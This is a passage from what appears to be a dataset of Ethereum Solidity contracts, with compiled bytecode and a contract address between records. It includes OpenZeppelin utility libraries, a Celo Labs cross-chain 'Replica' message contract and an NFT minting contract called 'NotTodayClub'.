mstore(0x40, add(_newStr, 0x40)) // may end up with extra mstore(_newStr, _slen) mstore(add(_newStr, 0x20), _buf) } } // alignment preserving cast function addressToBytes32(address _addr) internal pure returns (bytes32) { return bytes32(uint256(uint160(_addr))); } // alignment preserving cast function bytes32ToAddress(bytes32 _buf) internal pure returns (address) { return address(uint160(uint256(_buf))); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../proxy/Initializable.sol"; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT OR Apache-2.0 pragma solidity >=0.6.11; // ============ Internal Imports ============ import {Version0} from "./Version0.sol"; import {Common} from "./Common.sol"; import {MerkleLib} from "../libs/Merkle.sol"; import {Message} from "../libs/Message.sol"; import {IMessageRecipient} from "../interfaces/IMessageRecipient.sol"; // ============ External Imports ============ import {TypedMemView} from "@summa-tx/memview-sol/contracts/TypedMemView.sol"; /** * @title Replica * @author Celo Labs Inc. * @notice Track root updates on Home, * prove and dispatch messages to end recipients. */ contract Replica is Version0, Common { // ============ Libraries ============ using MerkleLib for MerkleLib.Tree; using TypedMemView for bytes; using TypedMemView for bytes29; using Message for bytes29; // ============ Enums ============ // Status of Message: // 0 - None - message has not been proven or processed // 1 - Proven - message inclusion proof has been validated // 2 - Processed - message has been dispatched to recipient enum MessageStatus { None, Proven, Processed } // ============ Immutables ============ // Minimum gas for message processing uint256 public immutable PROCESS_GAS; // Reserved gas (to ensure tx completes in case message processing runs out) uint256 public immutable RESERVE_GAS; // ============ Public Storage ============ // Domain of home chain uint32 public remoteDomain; // Number of seconds to wait before root becomes confirmable uint256 public optimisticSeconds; // re-entrancy guard uint8 private entered; // Mapping of roots to allowable confirmation times mapping(bytes32 => uint256) public confirmAt; // Mapping of message leaves to MessageStatus mapping(bytes32 => MessageStatus) public messages; // ============ Upgrade Gap ============ // gap for upgrade safety uint256[44] private __GAP; // ============ Events ============ /** * @notice Emitted when message is processed * @param messageHash Hash of message that failed to process * @param success TRUE if the call was executed successfully, FALSE if the call reverted * @param returnData the return data from the external call */ event Process( bytes32 indexed messageHash, bool indexed success, bytes indexed returnData ); // ============ Constructor ============ // solhint-disable-next-line no-empty-blocks constructor( uint32 _localDomain, uint256 _processGas, uint256 _reserveGas ) Common(_localDomain) { require(_processGas >= 850_000, "!process gas"); require(_reserveGas >= 15_000, "!reserve gas"); PROCESS_GAS = _processGas; RESERVE_GAS = _reserveGas; } // ============ Initializer ============ function initialize( uint32 _remoteDomain, address _updater, bytes32 _committedRoot, uint256 _optimisticSeconds ) public initializer { __Common_initialize(_updater); entered = 1; remoteDomain = _remoteDomain; committedRoot = _committedRoot; confirmAt[_committedRoot] = 1; optimisticSeconds = _optimisticSeconds; } // ============ External Functions ============ /** * @notice Called by external agent. Submits the signed update's new root, * marks root's allowable confirmation time, and emits an `Update` event. * @dev Reverts if update doesn't build off latest committedRoot * or if signature is invalid. * @param _oldRoot Old merkle root * @param _newRoot New merkle root * @param _signature Updater's signature on `_oldRoot` and `_newRoot` */ function update( bytes32 _oldRoot, bytes32 _newRoot, bytes memory _signature ) external notFailed { // ensure that update is building off the last submitted root require(_oldRoot == committedRoot, "not current update"); // validate updater signature require( _isUpdaterSignature(_oldRoot, _newRoot, _signature), "!updater sig" ); // Hook for future use _beforeUpdate(); // set the new root's confirmation timer confirmAt[_newRoot] = block.timestamp + optimisticSeconds; // update committedRoot committedRoot = _newRoot; emit Update(remoteDomain, _oldRoot, _newRoot, _signature); } /** * @notice First attempts to prove the validity of provided formatted * `message`. If the message is successfully proven, then tries to process * message. * @dev Reverts if `prove` call returns false * @param _message Formatted message (refer to Common.sol Message library) * @param _proof Merkle proof of inclusion for message's leaf * @param _index Index of leaf in home's merkle tree */ function proveAndProcess( bytes memory _message, bytes32[32] calldata _proof, uint256 _index ) external { require(prove(keccak256(_message), _proof, _index), "!prove"); process(_message); } /** * @notice Given formatted message, attempts to dispatch * message payload to end recipient. * @dev Recipient must implement a `handle` method (refer to IMessageRecipient.sol) * Reverts if formatted message's destination domain is not the Replica's domain, * if message has not been proven, * or if not enough gas is provided for the dispatch transaction. * @param _message Formatted message * @return _success TRUE iff dispatch transaction succeeded */ function process(bytes memory _message) public returns (bool _success) { bytes29 _m = _message.ref(0); // ensure message was meant for this domain require(_m.destination() == localDomain, "!destination"); // ensure message has been proven bytes32 _messageHash = _m.keccak(); require(messages[_messageHash] == MessageStatus.Proven, "!proven"); // check re-entrancy guard require(entered == 1, "!reentrant"); entered = 0; // update message status as processed messages[_messageHash] = MessageStatus.Processed; // A call running out of gas TYPICALLY errors the whole tx. We want to // a) ensure the call has a sufficient amount of gas to make a // meaningful state change. // b) ensure that if the subcall runs out of gas, that the tx as a whole // does not revert (i.e. we still mark the message processed) // To do this, we require that we have enough gas to process // and still return. We then delegate only the minimum processing gas. require(gasleft() >= PROCESS_GAS + RESERVE_GAS, "!gas"); // get the message recipient address _recipient = _m.recipientAddress(); // set up for assembly call uint256 _toCopy; uint256 _maxCopy = 256; uint256 _gas = PROCESS_GAS; // allocate memory for returndata bytes memory _returnData = new bytes(_maxCopy); bytes memory _calldata = abi.encodeWithSignature( "handle(uint32,bytes32,bytes)", _m.origin(), _m.sender(), _m.body().clone() ); // dispatch message to recipient // by assembly calling "handle" function // we call via assembly to avoid memcopying a very large returndata // returned by a malicious contract assembly { _success := call( _gas, // gas _recipient, // recipient 0, // ether value add(_calldata, 0x20), // inloc mload(_calldata), // inlen 0, // outloc 0 // outlen ) // limit our copy to 256 bytes _toCopy := returndatasize() if gt(_toCopy, _maxCopy) { _toCopy := _maxCopy } // Store the length of the copied bytes mstore(_returnData, _toCopy) // copy the bytes from returndata[0:_toCopy] returndatacopy(add(_returnData, 0x20), 0, _toCopy) } // emit process results emit Process(_messageHash, _success, _returnData); // reset re-entrancy guard entered = 1; } // ============ Public Functions ============ /** * @notice Check that the root has been submitted * and that the optimistic timeout period has expired, * meaning the root can be processed * @param _root the Merkle root, submitted in an update, to check * @return TRUE iff root has been submitted & timeout has expired */ function acceptableRoot(bytes32 _root) public view returns (bool) { uint256 _time = confirmAt[_root]; if (_time == 0) { return false; } return block.timestamp >= _time; } /** * @notice Attempts to prove the validity of message given its leaf, the * merkle proof of inclusion for the leaf, and the index of the leaf. * @dev Reverts if message's MessageStatus != None (i.e. if message was * already proven or processed) * @dev For convenience, we allow proving against any previous root. * This means that witnesses never need to be updated for the new root * @param _leaf Leaf of message to prove * @param _proof Merkle proof of inclusion for leaf * @param _index Index of leaf in home's merkle tree * @return Returns true if proof was valid and `prove` call succeeded **/ function prove( bytes32 _leaf, bytes32[32] calldata _proof, uint256 _index ) public returns (bool) { // ensure that message has not been proven or processed require(messages[_leaf] == MessageStatus.None, "!MessageStatus.None"); // calculate the expected root based on the proof bytes32 _calculatedRoot = MerkleLib.branchRoot(_leaf, _proof, _index); // if the root is valid, change status to Proven if (acceptableRoot(_calculatedRoot)) { messages[_leaf] = MessageStatus.Proven; return true; } return false; } /** * @notice Hash of Home domain concatenated with "OPTICS" */ function homeDomainHash() public view override returns (bytes32) { return _homeDomainHash(remoteDomain); } // ============ Internal Functions ============ /** * @notice Moves the contract into failed state * @dev Called when a Double Update is submitted */ function _fail() internal override { _setFailed(); } /// @notice Hook for potential future use // solhint-disable-next-line no-empty-blocks function _beforeUpdate() internal {} } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT OR Apache-2.0 pragma solidity >=0.6.11; interface IMessageRecipient { function handle( uint32 _origin, bytes32 _sender, bytes memory _message ) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } }
0x60806040526004361061005a5760003560e01c80633fc8cef3116100435780633fc8cef3146100ad578063e78cea92146100eb578063ec93e5f0146101005761005a565b806303c1d2831461005f5780632e96d5a31461008a575b600080fd5b6100886004803603604081101561007557600080fd5b5063ffffffff813516906020013561013f565b005b610088600480360360208110156100a057600080fd5b503563ffffffff166102a5565b3480156100b957600080fd5b506100c26102ba565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b3480156100f757600080fd5b506100c26102de565b6100886004803603604081101561011657600080fd5b50803563ffffffff16906020013573ffffffffffffffffffffffffffffffffffffffff16610302565b7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc273ffffffffffffffffffffffffffffffffffffffff1663d0e30db0346040518263ffffffff1660e01b81526004016000604051808303818588803b1580156101a757600080fd5b505af11580156101bb573d6000803e3d6000fd5b5050604080517f1cabf08f00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc28116600483015234602483015263ffffffff881660448301526064820187905291517f0000000000000000000000006a39909e805a3eadd2b61fff61147796ca6abb479092169450631cabf08f9350608480820193506000929182900301818387803b15801561028957600080fd5b505af115801561029d573d6000803e3d6000fd5b505050505050565b6102b7816102b233610313565b61013f565b50565b7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281565b7f0000000000000000000000006a39909e805a3eadd2b61fff61147796ca6abb4781565b61030f826102b283610313565b5050565b73ffffffffffffffffffffffffffffffffffffffff169056fea2646970667358221220a155e8a014a65961277ee1f1f9d43d494403f67b6c1e5e4b08c78cc7cb5e87e564736f6c63430007060033
[ 20, 37, 17, 9, 5 ]
0xF1c1991eC39Fa7a7325eC8aB7C78e7994985DA45
// SPDX-License-Identifier: MIT pragma solidity ^0.8.4; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/Pausable.sol"; contract NotTodayClub is ERC721Enumerable, Ownable, Pausable { using Strings for uint256; string public baseURI; string public baseExtension = ".json"; string public notRevealedUri; uint256 public cost = 0.0666 ether; uint256 public constant MAXSUPPLY = 4200; uint256 public MAX_MINTS_PER_ADDRESS = 2; uint256 public perAddressLimit = 2; uint8 public curentMintGroup = 1; bool public revealed = false; bool public publicMintOpen = false; mapping(address => uint8) public allowList; mapping(address => uint256) public addressMintedBalance; constructor( string memory _name, string memory _symbol, string memory _initBaseURI, string memory _initNotRevealedUri ) ERC721(_name, _symbol) { setBaseURI(_initBaseURI); setNotRevealedURI(_initNotRevealedUri); _mint(90, 0); } // internal function _baseURI() internal view virtual override returns (string memory) { return baseURI; } // public function mint(uint256 _mintAmount) public payable whenNotPaused { uint256 supply = totalSupply(); require(_mintAmount > 0, "non 0 amount"); require( _mintAmount <= MAX_MINTS_PER_ADDRESS, "max mint amount per session" ); require(supply + _mintAmount <= MAXSUPPLY, "NFT limit exceeded"); if (msg.sender != owner()) { require( curentMintGroup == allowList[msg.sender] || publicMintOpen, "you are not on the list" ); uint256 ownerMintedCount = addressMintedBalance[msg.sender]; require( ownerMintedCount + _mintAmount <= perAddressLimit, "NFT per address exceeded" ); require(msg.value >= cost * _mintAmount, "insufficient funds"); } _mint(_mintAmount, supply); } function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 ownerTokenCount = balanceOf(_owner); uint256[] memory tokenIds = new uint256[](ownerTokenCount); for (uint256 i; i < ownerTokenCount; i++) { tokenIds[i] = tokenOfOwnerByIndex(_owner, i); } return tokenIds; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); if (revealed == false) { return notRevealedUri; } string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string( abi.encodePacked( currentBaseURI, tokenId.toString(), baseExtension ) ) : ""; } function getGroupNumber(address account) external view returns (uint8) { return allowList[account]; } function _mint(uint256 _amount, uint256 _curentSuply) internal { for (uint256 i = 1; i <= _amount; i++) { addressMintedBalance[msg.sender]++; _safeMint(msg.sender, _curentSuply + i); } } event Reveal(bool indexed state); event SetPublicMint(bool indexed state); event SetPerAddressLimit(uint256 indexed perAddressLimit); event SetCost(uint256 indexed cost); event SetMaxMintAmount(uint256 indexed Max_Mints_Per_Address); event AllowListUpload(address[] indexed adresses, uint8 indexed groupNum); event SetBaseURI(string indexed baseUri); event SetBaseExtention(string indexed baseExtension); event SetNotRevealedUri(string indexed notRevealed); event SetMintGroup(uint8 groupNum); event Withdrawl(address indexed owner, bool indexed success); //only owner function reveal() public onlyOwner { revealed = true; emit Reveal(revealed); } function setPublicMint(bool _state) external onlyOwner { publicMintOpen = _state; emit SetPublicMint(_state); } function setPerAddressLimit(uint256 _limit) external onlyOwner { perAddressLimit = _limit; emit SetPerAddressLimit(perAddressLimit); } function setCost(uint256 _newCost) external onlyOwner { cost = _newCost; emit SetCost(cost); } function setmaxMintAmount(uint256 _newmaxMintAmount) external onlyOwner { MAX_MINTS_PER_ADDRESS = _newmaxMintAmount; emit SetMaxMintAmount(MAX_MINTS_PER_ADDRESS); } function allowListUpload(address[] calldata _addresses, uint8 _groupNum) external onlyOwner { for (uint256 i; i < _addresses.length; ++i) { allowList[_addresses[i]] = _groupNum; } emit AllowListUpload(_addresses, _groupNum); } function setBaseURI(string memory _newBaseURI) public onlyOwner { baseURI = _newBaseURI; emit SetBaseURI(baseURI); } function setBaseExtension(string memory _newBaseExtension) external onlyOwner { baseExtension = _newBaseExtension; emit SetBaseExtention(baseExtension); } function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner { notRevealedUri = _notRevealedURI; emit SetNotRevealedUri(notRevealedUri); } function setMintGroup(uint8 _groupNum) external onlyOwner { curentMintGroup = _groupNum; emit SetMintGroup(_groupNum); } function pause() external onlyOwner { _pause(); } function unpause() external onlyOwner { _unpause(); } function withdraw() external payable onlyOwner { (bool ms, ) = payable(owner()).call{value: address(this).balance}(""); require(ms); emit Withdrawl(owner(), ms); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Enumerable.sol) pragma solidity ^0.8.0; import "../ERC721.sol"; import "./IERC721Enumerable.sol"; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also 